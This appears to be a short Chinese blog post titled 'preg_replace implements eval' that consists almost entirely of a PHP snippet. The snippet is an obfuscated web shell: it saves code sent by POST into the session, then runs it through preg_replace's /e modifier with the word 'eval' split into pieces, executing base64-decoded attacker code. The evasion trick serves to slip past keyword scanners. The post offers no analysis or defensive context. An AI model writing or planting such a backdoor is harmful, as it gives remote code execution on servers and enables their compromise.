preg_replace 实现 eval

2018-03-08 14:30:35 阅读:5 编辑
<?PHP
session_start (); 
$_POST ['code'] &&  $_SESSION ['theCode'] = trim ($_POST [ 'code']); 
$_SESSION ['theCode']&&preg_replace ('\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode ($_SESSION [\'theCode\']))' , 'a' );